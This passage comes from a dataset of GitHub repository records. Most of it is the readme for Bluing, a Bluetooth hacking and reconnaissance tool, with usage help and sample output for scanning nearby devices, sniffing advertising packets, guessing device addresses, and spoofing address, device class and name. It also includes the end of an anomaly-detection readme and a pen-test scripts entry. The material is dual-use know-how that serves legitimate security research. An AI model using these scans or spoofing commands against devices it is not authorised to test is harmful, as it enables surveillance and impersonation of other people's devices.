contribute to every anomaly.\n\nThus SMD is made up by the following parts:\n\n* train: The former half part of the dataset.\n* test: The latter half part of the dataset.\n* test_label: The label of the test set. It denotes whether a point is an anomaly. \n* interpretation_label: The lists of dimensions contribute to each anomaly.\n\nconcatenate\n\n\n\n## Processing\n\nWith the default configuration, `main.py` follows these steps:\n\n* Train the model with training set, and validate at a fixed frequency. Early stop method is applied by default.\n* Test the model on both training set and testing set, and save anomaly score in `train_score.pkl` and `test_score.pkl`.\n* Find the best F1 score on the testing set, and print the results.\n* Init POT model on `train_score` to find the threshold of anomaly score, and using this threshold to predict on the testing set.\n\n\n## Training loss\n\nThe figure below are the training loss of our model on MSL and SMAP, which indicates that our model can converge well on these two datasets.\n\n![image](https://github.com/smallcowbaby/OmniAnomaly/blob/master/images/MSL_loss.png)\n![image](https://github.com/smallcowbaby/OmniAnomaly/blob/master/images/SMAP_loss.png)\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "ChrisTruncer/PenTestScripts", "link": "https://github.com/ChrisTruncer/PenTestScripts", "tags": [], "stars": 508, "description": "Scripts that are useful for me on pen tests", "lang": "Python", "repo_lang": "", "readme": "PenTestScripts\n==============\n\nScripts that are useful for me on pen tests\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "fO-000/bluing", "link": "https://github.com/fO-000/bluing", "tags": ["bluetooth", "scanner", "iot", "hacking-tool", "python", "ble", "security", "bluetooth-classic", "intelligent-gathering", "hacking", "linux", "android", "br-edr", "spoofing"], "stars": 508, "description": "An intelligence gathering tool for hacking Bluetooth", "lang": "Python", "repo_lang": "", "readme": "<h1 align=\"center\">Bluing</h1>\n<h3 align=\"center\">An intelligence gathering tool for hacking Bluetooth</h3>\n\n<p align=\"center\">\n    <a href=\"https://fo-000.github.io/bluing/\">English</a> \u00b7 <a href=\"https://fo-000.github.io/bluing/index-cn.html\">\u7b80\u4f53\u4e2d\u6587</a>\n</p>\n\n<p align=\"center\">\n    <img src=\"https://img.shields.io/badge/python-3.10-blue\">\n    <a href=\"https://pypi.org/project/bluing/\"><img src=\"https://img.shields.io/pypi/v/bluing?color=blue\"></a>\n    <a href=\"https://pepy.tech/badge/bluing\"><img src=\"https://pepy.tech/badge/bluing\"></a>\n    <a href=\"https://pepy.tech/badge/bluescan\"><img src=\"https://static.pepy.tech/personalized-badge/bluescan?period=total&units=international_system&left_color=grey&right_color=blue&left_text=predecessor%20downloads\"></a>\n</p>\n\n<p align=\"center\">\n    <img src=\"https://img.shields.io/badge/Tested%20on-Ubuntu%2022.04%20(x64)%20%7C%20Kali%202022.4%20(x64)%20%7C%20Kali%20NetHunter%202022.4%20(aarch64)-brightgreen\">\n</p>\n\nBluing (formerly [bluescan](https://pypi.org/project/bluescan/)) is a **Blu**etooth **In**telligence **G**athering tool written primarily in Python. It can help us snoop on the internal structure of Bluetooth which is a complex protocol, or hack Bluetooth devices. Here are the main features of the tool:\n\n![](https://raw.githubusercontent.com/fO-000/bluing/master/assets/bluing-features-mermaid-mindmap.svg)\n<!-- ![](./assets/bluing-features-mermaid-mindmap.svg) -->\n\n## Installation\n\nBluing partially depend on [BlueZ](http://www.bluez.org/), the official Linux Bluetooth protocol stack. So it only supports running on Linux. The following command is used to install dependencies:\n\n```sh\nsudo apt install python3-pip python3-dev libcairo2-dev libgirepository1.0-dev \\\n                 libbluetooth-dev libdbus-1-dev bluez-tools python3-cairo-dev \\\n                 rfkill meson patchelf bluez ubertooth adb python-is-python3\n```\n\nCurrently, bluing is distributed via [PyPI](https://pypi.org/project/bluing/) and **only supports Python 3.10**. The following is an installation command:\n\n```sh\nsudo pip3.10 install bluing\n```\n\n## Usage\n\n> * God said, \"Let there be **colorful**\", and there was [**colorful**](https://fo-000.github.io/bluing/#-usage).\n> * Perhaps you would like a brief overview of the [recommended hardware](https://fo-000.github.io/bluing/#-recommended-hardware). \n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">bluing</span> --help</code></summary>\n\n<pre>\nAn intelligence gathering tool for hacking Bluetooth\n\nUsage:\n    bluing [-h | --help]\n    bluing (-v | --version)\n    bluing [-i &lthci>] --clean BD_ADDR\n    bluing --flash-micro-bit\n    bluing &ltcommand> [&ltargs>...]\n\nArguments:\n    BD_ADDR    Bluetooth device address\n\nOptions:\n    -h, --help           Print this help and quit\n    -v, --version        Print version information and quit\n    -i &lthci>             HCI device\n    --clean              Clean cached data of a remote device\n    --flash-micro-bit    Download the dedicated firmware to micro:bit(s)\n\nCommands:\n    br         Basic Rate system, includes an optional Enhanced Data Rate (EDR) extension\n    le         Low Energy system\n    android    Android Bluetooth stack\n    spoof      Spoof with new local device information\n    plugin     Manage plugins\n\nRun `bluing &ltcommand> --help` for more information on a command.\n</pre>\n</details>\n\n### `br` command: Basic Rate system\n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">bluing</span> br --help</code></summary>\n\n<pre>\nUsage:\n    bluing br [-h | --help]\n    bluing br [-i &lthci>] [--inquiry-len=&ltn>] --inquiry\n    bluing br [-i &lthci>] --sdp BD_ADDR\n    bluing br [-i &lthci>] --local --sdp\n    bluing br [-i &lthci>] --lmp-features BD_ADDR\n    bluing br [-i &lthci>] --local --lmp-features\n    bluing br [-i &lthci>] --stack BD_ADDR\n    bluing br [-i &lthci>] --local --stack\n    bluing br [-i &lthci>] [--inquiry-scan] --mon-incoming-conn\n    bluing br --org=&ltname> --timeout=&ltsec> --sniff-and-guess-bd-addr\n\nArguments:\n    BD_ADDR    BR/EDR Bluetooth device address\n\nOptions:\n    -h, --help                   Print this help and quit\n    -i &lthci>                     HCI device\n    --local                      Target a local BR/EDR device instead of a remote one\n    --inquiry                    Discover other nearby BR/EDR controllers\n    --inquiry-len=&ltn>            Maximum amount of time (added to --ext-inquiry-len=&ltn>) \n                                 specified before the Inquiry is halted.\n                                     Time = n * 1.28 s\n                                     Time range: 1.28 to 61.44 s\n                                     Range of n: 0x01 to 0x30 [default: 8]\n    --ext-inquiry-len=&ltn>        Extended_Inquiry_Length measured in number of \n                                 Baseband slots.\n                                     Interval Length = n * 0.625 ms (1 Baseband slot)\n                                     Time Range: 0 to 40.9 s\n                                     Range of n: 0x0000 to 0xFFFF [default: 0]\n    --sdp                        Retrieve information from the SDP database of a \n                                 remote BR/EDR device\n    --lmp-features               Read LMP features of a remote BR/EDR device\n    --stack                      Determine the Bluetooth stack type of a remote BR/EDR device\n    --mon-incoming-conn          Print incoming connection from other nearby BR/EDR devices\n    --inquiry-scan               Enable the Inquiry Scan\n    --sniff-and-guess-bd-addr    Sniff SAPs of BD_ADDRs over the air, then guess the \n                                 address based on the organization name. Need at \n                                 least one Ubertooth device\n    --org=&ltname>                 An organization name in the OUI.txt\n    --timeout=&ltsec>              Timeout in second(s)\n</pre>\n</details>\n\n#### `--inquiry`: Discover other nearby BR/EDR controllers\n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">sudo bluing</span> br --inquiry</code></summary>\n\n<pre>\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] Discovering other nearby BR/EDR Controllers on <span style=\"font-weight: bold; color: #7da9c7\">hci0</span> for <span style=\"font-weight: bold; color: #7da9c7\">10.24</span> sec\n\nBD_ADDR: <span style=\"font-weight: bold; color: #7da9c7\">B0:C9:52:45:33:13</span> (<span style=\"font-weight: bold; color: #7da9c7\">GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD</span>)\nPage scan repetition mode: 1 (R1)\nReserved: 0x02\nCoD: 0x5a020c\n    Service Class: 0b1011010000\n        Telephony\n        Object Transfer\n        Capturing\n        Networking\n    Major Device Class: 0b00010, <span style=\"font-weight: bold; color: #7da9c7\">Phone</span>\nClock offset: 0x50D5\nRSSI: -61\nExtended inquiry response: \n    Complete Local Name: <span style=\"font-weight: bold; color: #7da9c7\">old man phone</span>\n    Complete List of 16-bit Service Class UUIDs\n        0x1105 <span style=\"font-weight: bold; color: #7da9c7\">OBEXObjectPush</span>\n        0x110a <span style=\"font-weight: bold; color: #7da9c7\">AudioSource</span>\n        0x110c <span style=\"font-weight: bold; color: #7da9c7\">A/V_RemoteControlTarget</span>\n        0x110e <span style=\"font-weight: bold; color: #7da9c7\">A/V_RemoteControl</span>\n        0x1112 <span style=\"font-weight: bold; color: #7da9c7\">Headset - Audio Gateway (AG)</span>\n        0x1115 <span style=\"font-weight: bold; color: #7da9c7\">PANU</span>\n        0x1116 <span style=\"font-weight: bold; color: #7da9c7\">NAP</span>\n        0x111f <span style=\"font-weight: bold; color: #7da9c7\">HandsfreeAudioGateway</span>\n        0x112d <span style=\"font-weight: bold; color: #7da9c7\">SIM_Access</span>\n        0x112f <span style=\"font-weight: bold; color: #7da9c7\">Phonebook Access - PSE</span>\n        0x1200 <span style=\"font-weight: bold; color: #7da9c7\">PnPInformation</span>\n        0x1132 <span style=\"font-weight: bold; color: #7da9c7\">Message Access Server</span>\n    Complete List of 32-bit Service Class UUIDs\n        <span style=\"font-weight: bold; color: #c35956\">None</span>\n    Complete List of 128-bit Service Class UUIDs\n        <span style=\"font-weight: bold; color: #7da9c7\">A49EAA15-CB06-495C-9F4F-BB80A90CDF00</span>\n        <span style=\"font-weight: bold; color: #7da9c7\">00000000-0000-0000-0000-000000000000</span>\n... ...\n\n\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] Requesting the names of all discovered devices...\nB0:C9:52:45:33:13 : <span style=\"font-weight: bold; color: #7da9c7\">old man phone</span>\n... ...\n</pre>\n</details>\n\n#### `--sdp`: Retrieve information from the SDP database of a remote BR/EDR device\n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">sudo bluing</span> br --sdp 34:13:46:23:6A:4D</code></summary>\n\n<pre>\nScanning <span style=\"font-weight: bold\"></span><span style=\"font-weight: bold; color: #00aaaa\">\u280b</span>\nNumber of service records: 18 \n\n<span style=\"font-weight: bold; color: #7da9c7\">Service Record</span>\n0x0000: ServiceRecordHandle (uint32)\n    0x0001000d\n0x0001: ServiceClassIDList (sequence)\n    0x1105: <span style=\"font-weight: bold; color: #9fab76\">OBEXObjectPush</span>\n0x0004: ProtocolDescriptorList (sequence)\n    0x0100: L2CAP\n    0x0003: RFCOMM\n        channel: 0x0c\n    0x0008: OBEX\n0x0005: BrowseGroupList (sequence)\n    0x1002: <span style=\"font-weight: bold; color: #9fab76\">PublicBrowseRoot</span>\n0x0009: BluetoothProfileDescriptorList (sequence)\n    0x1105: <span style=\"font-weight: bold; color: #9fab76\">OBEXObjectPush</span> <span style=\"font-weight: bold; color: #9fab76\">v1.2</span>\n0x0100: ServiceName (guess) (text)\n    OBEX Object Push \n0x0200: GoepL2CapPsm (guess) (uint16)\n<span style=\"font-weight: bold; color: #9fab76\">\t0x1023</span>\n0x0303: SupportedFormatsList (guess) (sequence)\n    0x01: <span style=\"font-weight: bold; color: #9fab76\">vCard 2.1</span>\n    0x02: <span style=\"font-weight: bold; color: #9fab76\">vCard 3.0</span>\n    0x03: <span style=\"font-weight: bold; color: #9fab76\">vCal 1.0</span>\n    0x04: <span style=\"font-weight: bold; color: #9fab76\">iCal 2.0</span>\n    0xff: <span style=\"font-weight: bold; color: #9fab76\">Any type of object</span>\n... ...\n</pre>\n</details>\n\n#### `--lmp-features`: Read LMP features of a remote BR/EDR device\n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">sudo bluing</span> br --lmp-features 6A:8D:99:33:56:AE</code></summary>\n\n<pre>\n<span style=\"font-weight: bold; color: #7da9c7\">Version</span>\n    Version:\n        Bluetooth Core Specification 5.2 (LMP)\n        Bluetooth Core Specification 5.2 (LL)\n    Manufacturer name: <span style=\"font-weight: bold; color: #9fab76\">HiSilicon Technologies CO., LIMITED</span>\n    Subversion: 33561 \n\n<span style=\"font-weight: bold; color: #7da9c7\">LMP features</span>\n    3 slot packets: <span style=\"font-weight: bold; color: #9fab76\">True</span>\n    5 slot packets: <span style=\"font-weight: bold; color: #9fab76\">True</span>\n    Encryption: <span style=\"font-weight: bold; color: #9fab76\">True</span>\n    Slot offset: <span style=\"font-weight: bold; color: #9fab76\">True</span>\n    Timing accuracy: <span style=\"font-weight: bold; color: #9fab76\">True</span>\n    Role switch: <span style=\"font-weight: bold; color: #9fab76\">True</span>\n    Hold mode: <span style=\"font-weight: bold; color: #c35956\">False</span>\n    Sniff mode: <span style=\"font-weight: bold; color: #9fab76\">True</span>\n    Previously used: <span style=\"font-weight: bold; color: #c35956\">False</span>\n    Power control requests: <span style=\"font-weight: bold; color: #9fab76\">True</span>\n    Channel quality driven data rate (CQDDR): <span style=\"font-weight: bold; color: #9fab76\">True</span>\n    ... ...\n\n<span style=\"font-weight: bold; color: #7da9c7\">Extended LMP features</span>\nPage 1\n    Secure Simple Pairing (Host Support): <span style=\"font-weight: bold; color: #9fab76\">True</span>\n    LE Supported (Host): <span style=\"font-weight: bold; color: #9fab76\">True</span>\n    Simultaneous LE and BR/EDR to Same Device Capable (Host): <span style=\"font-weight: bold; color: #9fab76\">True</span>\n    Secure Connections (Host Support): <span style=\"font-weight: bold; color: #9fab76\">True</span>\nPage 2\n    Connectionless Slave Broadcast - Master Operation: <span style=\"font-weight: bold; color: #c35956\">False</span>\n    Connectionless Slave Broadcast - Slave Operation: <span style=\"font-weight: bold; color: #c35956\">False</span>\n    Synchronization Train: <span style=\"font-weight: bold; color: #c35956\">False</span>\n    Synchronization Scan: <span style=\"font-weight: bold; color: #c35956\">False</span>\n    HCI_Inquiry_Response_Notification event:  <span style=\"font-weight: bold; color: #9fab76\">True</span>\n    ... ...\n</pre>\n</details>\n\n#### `--mon-incoming-conn`: Print incoming connection from other nearby BR/EDR devices\n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">sudo bluing</span> br --inquiry-scan --mon-incoming-conn</code></summary>\n\n<pre>\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] Inquiry_Scan_Interval: 4096, 2560.0 ms\n       Inquiry_Scan_Window:   4096, 2560.0 ms\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] Inquiry Scan and Page Scan enabled\n\n<span style=\"font-weight: bold; color: #7da9c7\">A0:DE:0F:99:EF:78</span> incoming\n    CoD: 0x5a020c\n        Service Class: 0b1011010000\n            Telephony\n            Object Transfer\n            Capturing\n            Networking\n        Major Device Class: 0b00010, <span style=\"font-weight: bold; color: #7da9c7\">Phone</span>\n    link type: 0x01 - ACL\n... ...\n</pre>\n</details>\n\n#### `--sniff-and-guess-bd-addr`: Sniff and guess nearby BD_ADDRs over the air\n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">bluing</span> br --org=<span style=\"font-weight: bold; color: #eac179\">'Huawei Device Co., Ltd.'</span> --timeout=600 --sniff-and-guess-bd-addr</code></summary>\n\n<pre>\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] Possible BD_ADDR for ??:??:99:4C:45:C3\n        24:A7:99:4C:45:C3\n\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] Possible BD_ADDR for ??:??:E4:2D:69:EE\n        BC:1A:E4:2D:69:EE\n        D0:05:E4:2D:69:EE\n        30:AA:E4:2D:69:EE\n\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] Possible BD_ADDR for ??:??:15:60:81:7F\n        64:23:15:60:81:7F\n        D4:74:15:60:81:7F\n... ...\n</pre>\n</details>\n\n### `le` command: Low Energy system\n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">bluing</span> le --help</code></summary>\n\n<pre>\nUsage:\n    bluing le [-h | --help]\n    bluing le [-i &lthci>] [--scan-type=&lttype>] [--timeout=&ltsec>] [--sort=&ltkey>] --scan\n    bluing le [-i &lthci>] --pairing-feature [--timeout=&ltsec>] [--addr-type=&lttype>] PEER_ADDR\n    bluing le [-i &lthci>] --ll-feature-set [--timeout=&ltsec>] [--addr-type=&lttype>] PEER_ADDR\n    bluing le [-i &lthci>] --gatt [--io-cap=&ltname>] [--addr-type=&lttype>] PEER_ADDR\n    bluing le [-i &lthci>] --local --gatt\n    bluing le [-i &lthci>] --mon-incoming-conn\n    bluing le [--device=&lt/dev/tty>] [--channel=&ltnum>] --sniff-adv\n\nArguments:\n    PEER_ADDR    LE Bluetooth device address\n\nOptions:\n    -h, --help            Print this help and quit\n    -i &lthci>              HCI device\n    --scan                Discover advertising devices nearby\n    --scan-type=&lttype>    The type of scan to perform. active or passive [default: active]\n    --sort=&ltkey>          Sort the discovered devices by key, only support RSSI \n                          now [default: rssi]\n    --ll-feature-set      Read LL FeatureSet of a remote LE device\n    --pairing-feature     Request the pairing feature of a remote LE device\n    --timeout=&ltsec>       Duration of the LE scanning, but may not be precise [default: 10]\n    --gatt                Discover GATT Profile hierarchy of a remote LE device\n    --io-cap=&ltname>       Set IO capability of the agent. Available value: \n                              DisplayOnly, DisplayYesNo, KeyboardOnly, NoInputNoOutput, \n                              KeyboardDisplay (KeyboardOnly) [default: NoInputNoOutput]\n    --addr-type=&lttype>    Type of the LE address, public or random\n    --sniff-adv           Sniff advertising physical channel PDU. Need at least \n                          one micro:bit (or other supported NRF51 device specified with --device)\n    --channel=&ltnum>       LE advertising physical channel, 37, 38 or 39 [default: 37,38,39]\n    --device=&lt/dev/tty>   Device to use, comma separated (e.g., /dev/ttyUSB0,/dev/ttyUSB1,/dev/ttyUSB2)\n                          Only needed if using NRF51 devices other than micro:bit (e.g., Bluefruit)\n</pre>\n</details>\n\n#### `--scan`: Discover advertising devices nearby\n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">sudo bluing</span> le --scan</code></summary>\n\n<pre>\n[<span style=\"font-weight: bold; color: #ecc179\">WARNING</span>] You might want to spoof your LE address before doing an active scan\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] LE <span style=\"font-weight: bold; color: #7da9c7\">active</span> scanning on <span style=\"font-weight: bold; color: #7da9c7\">hci0</span> for <span style=\"font-weight: bold; color: #7da9c7\">10</span> sec\nScanning <span style=\"font-weight: bold\"></span><span style=\"font-weight: bold; color: #00aaaa\">\u2834</span>\n\n<span style=\"font-weight: bold; color: #7da9c7\">----------------LE Devices Scan Result----------------</span>\nAddr:        <span style=\"font-weight: bold; color: #7da9c7\">74:A3:4A:D4:78:55</span> (<span style=\"font-weight: bold; color: #7da9c7\">ZIMI CORPORATION</span>)\nAddr type:   <span style=\"font-weight: bold; color: #7da9c7\">public</span>\nConnectable: <span style=\"font-weight: bold; color: #9fab76\">True</span>\nRSSI:        -68 dBm\nGeneral Access Profile:\n    Flags: \n        LE General Discoverable Mode\n        BR/EDR Not Supported\n    Service Data - 16-bit UUID: \n        UUID: 0x95FE\n        Data: 9055990701b743e34aa3740e00\n    Appearance: 0000\n    Tx Power Level: 0 dBm (pathloss 68 dBm)\n    Complete Local Name: Mesh Mi Switch\n... ...\n</pre>\n</details>\n\n#### `--ll-feature-set`: Read LL FeatureSet of a remote LE device\n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">sudo bluing</span> le --ll-feature-set --addr-type=public 18:D9:8F:77:24:F1</code></summary>\n\n<pre>\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] Reading LL FeatureSet of <span style=\"font-weight: bold; color: #7da9c7\">18:D9:8F:77:24:F1</span> on <span style=\"font-weight: bold; color: #7da9c7\">hci0</span>\nReading <span style=\"font-weight: bold\"></span><span style=\"font-weight: bold; color: #00aaaa\">\u283c</span>\n<span style=\"font-weight: bold; color: #7da9c7\">LE LL Features:</span>\n    LE Encryption: <span style=\"font-weight: bold; color: #9fab76\">True</span>\n    Connection Parameters Request Procedure: <span style=\"font-weight: bold; color: #c35956\">False</span>\n    Extended Reject Indication: <span style=\"font-weight: bold; color: #c35956\">False</span>\n    Slave-initiated Features Exchange: <span style=\"font-weight: bold; color: #c35956\">False</span>\n    LE Ping: <span style=\"font-weight: bold; color: #c35956\">False</span>\n    LE Data Packet Length Extension: <span style=\"font-weight: bold; color: #9fab76\">True</span>\n    LL Privacy: <span style=\"font-weight: bold; color: #c35956\">False</span>\n    Extended Scanner Filter Policies: <span style=\"font-weight: bold; color: #c35956\">False</span>\n    LE 2M PHY: <span style=\"font-weight: bold; color: #c35956\">False</span>\n    Stable Modulation Index - Transmitter: <span style=\"font-weight: bold; color: #c35956\">False</span>\n    Stable Modulation Index - Receiver: <span style=\"font-weight: bold; color: #c35956\">False</span>\n    ... ...\n</pre>\n</details>\n\n#### `--pairing-feature`: Request the pairing feature of a remote LE device\n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">sudo bluing</span> le --pairing-feature --addr-type=public 18:D9:8F:77:24:F1</code></summary>\n\n<pre>\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] Requesting pairing feature of <span style=\"font-weight: bold; color: #7da9c7\">18:D9:8F:77:24:F1</span> on <span style=\"font-weight: bold; color: #7da9c7\">hci0</span>\nRequesting <span style=\"font-weight: bold\"></span><span style=\"font-weight: bold; color: #00aaaa\">\u2827</span>\n<span style=\"font-weight: bold; color: #7da9c7\">Pairing Response</span>\n    IO Capability: 0x03 - <span style=\"font-weight: bold; color: #9fab76\">NoInputNoOutput</span>\n    OOB data flag: 0x00 - Not Present\n    AuthReq: 0x01\n    Maximum Encryption Key Size: 16\nInitiator Key Distribution: 0x00\n        EncKey:  <span style=\"font-weight: bold; color: #c35956\">False</span>\n        IdKey:   <span style=\"font-weight: bold; color: #c35956\">False</span>\n        SignKey: <span style=\"font-weight: bold; color: #c35956\">False</span>\n        LinkKey: <span style=\"font-weight: bold; color: #c35956\">False</span>\n        RFU:     0b0000\nResponder Key Distribution: 0x01\n        EncKey:  <span style=\"font-weight: bold; color: #9fab76\">True</span>\n        IdKey:   <span style=\"font-weight: bold; color: #c35956\">False</span>\n        SignKey: <span style=\"font-weight: bold; color: #c35956\">False</span>\n        LinkKey: <span style=\"font-weight: bold; color: #c35956\">False</span>\n        RFU:     0b0000\n</pre>\n</details>\n\n#### `--gatt`: Discover GATT Profile hierarchy of a remote LE device\n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">sudo bluing</span> le --gatt --addr-type=public 18:D9:8F:77:24:F1</code></summary>\n\n<pre>\nConnecting <span style=\"font-weight: bold\"></span><span style=\"font-weight: bold; color: #00aaaa\">\u280b</span>\nDiscovering all primary services <span style=\"font-weight: bold\"></span><span style=\"font-weight: bold; color: #00aaaa\">\u280f</span>\nDiscovering all characteristics of service 0x0001 <span style=\"font-weight: bold\"></span><span style=\"font-weight: bold; color: #00aaaa\">\u2839</span>\n... ...\nDiscovering all descriptors of characteristic 0x0002 <span style=\"font-weight: bold\"></span><span style=\"font-weight: bold; color: #00aaaa\">\u283c</span>\n... ...\nReading value of the descriptor 0x0013 <span style=\"font-weight: bold\"></span><span style=\"font-weight: bold; color: #00aaaa\">\u2834</span>\n... ... \n\n<span style=\"font-weight: bold; color: #7da9c7\">----------------GATT Scan Result----------------</span>\nNumber of services: 6\n\n<span style=\"font-weight: bold; color: #7da9c7\">Service</span> (0x0100 - 0x0112, 7 characteristics)\n    <span style=\"font-weight: bold; color: #7da9c7\">Declaration</span>\n        Handle: 0x0100\n        Type:   2800 (Primary Service declaration)\n        Value:  <span style=\"font-weight: bold; color: #9fab76\">1812</span> (<span style=\"font-weight: bold; color: #9fab76\">Human Interface Device</span>)\n        Permissions: Read (no authen/author)\n\n    <span style=\"font-weight: bold; color: #ecc179\">Characteristic</span> (2 descriptors)\n        <span style=\"font-weight: bold; color: #ecc179\">Declaration</span>\n            Handle: 0x010d\n            Type:   2803 (Characteristic declaration)\n            Value:\n                Properties: <span style=\"font-weight: bold; color: #9fab76\">Read, Write Without Response, Write, Notify</span>\n                Handle:     <span style=\"font-weight: bold; color: #9fab76\">0x010e</span>\n                UUID:       <span style=\"font-weight: bold; color: #9fab76\">2A4D</span> (<span style=\"font-weight: bold; color: #9fab76\">Report</span>)\n            Permissions: Read (no authen/author)\n\n        <span style=\"font-weight: bold; color: #ecc179\">Value</span>\n            Handle: 0x0302\n            Type:   4A02 (Unknown)\n            Value:  <span style=\"font-weight: bold; color: #c35956\">Read Not Permitted</span>\n            Permissions: Higher layer specific\n\n        <span style=\"font-weight: bold; color: #ecc179\">Descriptor</span>\n            Handle: <span style=\"font-weight: bold; color: #9fab76\">0x010f</span>\n            Type:   <span style=\"font-weight: bold; color: #9fab76\">2902</span> (<span style=\"font-weight: bold; color: #ecc179\">Client Characteristic    Configuration declaration</span>)\n            Value:  <span style=\"font-weight: bold; color: #9fab76\">b'\\x00\\x00'</span>\n            Permissions: Read (no authen/author), Write (higher layer specifies authen/author)\n... ...\n</pre>\n</details>\n\n#### `--sniff-adv`: Sniff advertising physical channel PDU\n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">sudo bluing</span> le --sniff-adv</code></summary>\n\n<pre>\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] Using micro:bit /dev/ttyACM2 on channel 37\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] Using micro:bit /dev/ttyACM1 on channel 38\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] Using micro:bit /dev/ttyACM0 on channel 39\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] micro:bit 38 < Ready -> Start\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] micro:bit 37 < Ready -> Start\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] micro:bit 39 < Ready -> Start\n[38] [<span style=\"font-weight: bold; color: #c35956\">ADV_NONCONN_IND</span>]\nrandom AdvA: 28:7A:88:B2:35:0B\n[39] [<span style=\"font-weight: bold; color: #7da9c7\">ADV_IND</span>]\npublic AdvA: A4:E4:72:B1:CB:8D\n[37] [<span style=\"font-weight: bold; color: #7da9c7\">SCAN_REQ</span>]\nrandom ScanA: 6A:90:0C:07:3E:14\nrandom AdvA: 7D:9B:A8:5A:F2:81\n... ...\n</pre>\n</details>\n\n### `android` command: Android Bluetooth stack\n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">bluing</span> android --help</code></summary>\n\n<pre>\nUsage:\n    bluing android [-h | --help]\n    bluing android [-t &ltid>] --collect-btsnoop-log [-o &ltfile>]\n\nOptions:\n    -h, --help               Display this help and quit\n    -t &ltid>                  Use android device with given transport id. This option \n                             will be ignored when only one device is available\n    --collect-btsnoop-log    Collect the btsnoop log being generated to a local file, \n                             default ./btsnoop_hci.log\n    -o &ltfile>                Place the output into <file> [default: ./btsnoop_hci.log]\n</pre>\n</details>\n\n#### `--collect-btsnoop-log`: Collect the btsnoop log being generated\n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">bluing</span> android -t 3 --collect-btsnoop-log -o btsnoop_hci.log; <span style=\"font-weight: bold; color: #9fab76\">file</span> btsnoop_hci.log</code></summary>\n\n<pre>\nbtsnoop_hci.log: BTSnoop version 1, HCI UART (H4)\n</pre>\n</details>\n\n### `spoof` command: Spoof with new local device information\n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">bluing</span> spoof --help</code></summary>\n\n<pre>\nUsage:\n    bluing spoof [-h | --help]\n    bluing spoof [-i &lthci>] --bd-addr=&ltBD_ADDR>\n    bluing spoof [-i &lthci>] --cls-of-dev=&ltnum>\n    bluing spoof --host-name=&ltname>\n    bluing spoof [-i &lthci>] --alias=&ltalias>\n\nOptions:\n    -h, --help             Print this help and quit\n    -i &lthci>               HCI device\n    --bd-addr=&ltBD_ADDR>    Spoof with a new BD_ADDR\n    --cls-of-dev=&ltnum>     Spoof with a new Class of Device\n    --host-name=&ltname>     Spoof with a new host name\n    --alias=&ltalias>        Spoof with a new alias\n</pre>\n</details>\n\n#### `--bd-addr=<BD_ADDR>`: Spoof with a new BD_ADDR\n\nThis feature is currently based on `spooftooph`, which can be installed by runing `sudo apt install spooftooph` if you are using it on Kali Linux. However, if you are using this feature on Ubuntu, you will need to manually compile and install [`spooftooph`](https://gitlab.com/kalilinux/packages/spooftooph).\n\n<details><summary><code>$ sudo <span style=\"font-weight: bold; color: #9fab76\">bluing</span> spoof --bd-addr=AA:BB:CC:DD:EE:FF</code></summary>\n\n<pre>\n[<span style=\"font-weight: bold; color: #ecc179\">WARNING</span>] The original HCI device number may have been changed\n[<span style=\"font-weight: bold; color: #7da9c7\">INFO</span>] BD_ADDR changed: 11:22:33:44:55:66 -&gt; <span style=\"font-weight: bold; color: #7da9c7\">AA:BB:CC:DD:EE:FF</span>\n</pre>\n</details>\n\n#### `--cls-of-dev=<num>`: Spoof with a new Class of Device\n\n<details><summary><code>$ sudo <span style=\"font-weight: bold; color: #9fab76\">bluing</span> spoof --cls-of-dev=0x6c0100</code></summary>\n\n<pre>\nNo output when successful\n</pre>\n</details>\n\n#### `--host-name=<name>`: Spoof with a new host name\n\n<details><summary><code>$ sudo <span style=\"font-weight: bold; color: #9fab76\">bluing</span> spoof --host-name=Bluing</code></summary>\n\n<pre>\nNo output when successful\n</pre>\n</details>\n\n#### `--alias=<alias>`: Spoof with a new controller alias\n\n<details><summary><code>$ sudo <span style=\"font-weight: bold; color: #9fab76\">bluing</span> spoof --alias='Bluing Alias'</code></summary>\n\n<pre>\nNo output when successful\n</pre>\n</details>\n\n### `plugin` command: Manage plugins\n\n<details><summary><code>$ <span style=\"font-weight: bold; color: #9fab76\">bluing</span> plugin --help</code></summary>\n\n<pre>\nUsage:\n    bluing plugin [-h | --help]\n    bluing plugin &ltcommand> [&ltargs>...]\n\nOptions:\n    -h, --help    Display this help and 